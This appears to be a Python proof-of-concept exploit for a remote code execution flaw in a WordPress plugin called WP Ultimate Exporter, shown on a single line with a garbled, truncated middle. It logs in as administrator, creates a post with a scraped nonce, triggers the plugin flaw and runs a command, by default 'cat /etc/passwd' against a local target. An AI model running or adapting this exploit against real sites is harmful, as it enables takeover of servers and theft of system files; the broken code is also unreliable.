import re import requests # To set up a proxy, enter the server address below. PROXY_SERVER = None proxies = { "https": PROXY_SERVER, "http": PROXY_SERVER, } def __login_get_session(login_id, login_pw): session = requests.session() data = { "log": login_id, "pwd": login_pw, "wp-submit": "Log In", "testcookie": 1 } resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies) if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]: print(f" |- Successfully logged in with account {login_id}.") return session else: raise Exception(f"[-] Failed to log in.") def create_post(session, title, content): response = session.get(f"{TARGET}/wp-admin/post-new.php", proxies=proxies) nonce_pattern = r'createNonceMiddleware\( "(.{10})" \)' post_id_pattern = r'\n\t\n" ) #### # 3. Trigger WP Ultimate Exporter plugin RCE vulnerability #### print(f"[+] Triggering WP Ultimate Exporter plugin RCE vulnerability.") trigger_url = wp_ultimate_exporter_trigger(admin_session) #### # 3. Execute command #### print(f"[+] Executing command.") execute_command(trigger_url, command) if __name__ == "__main__": # WordPress Target TARGET = "http://localhost:8080" # Administrator ID/PW ADMIN_ID = "admin" ADMIN_PW = "admin" poc(command="cat /etc/passwd")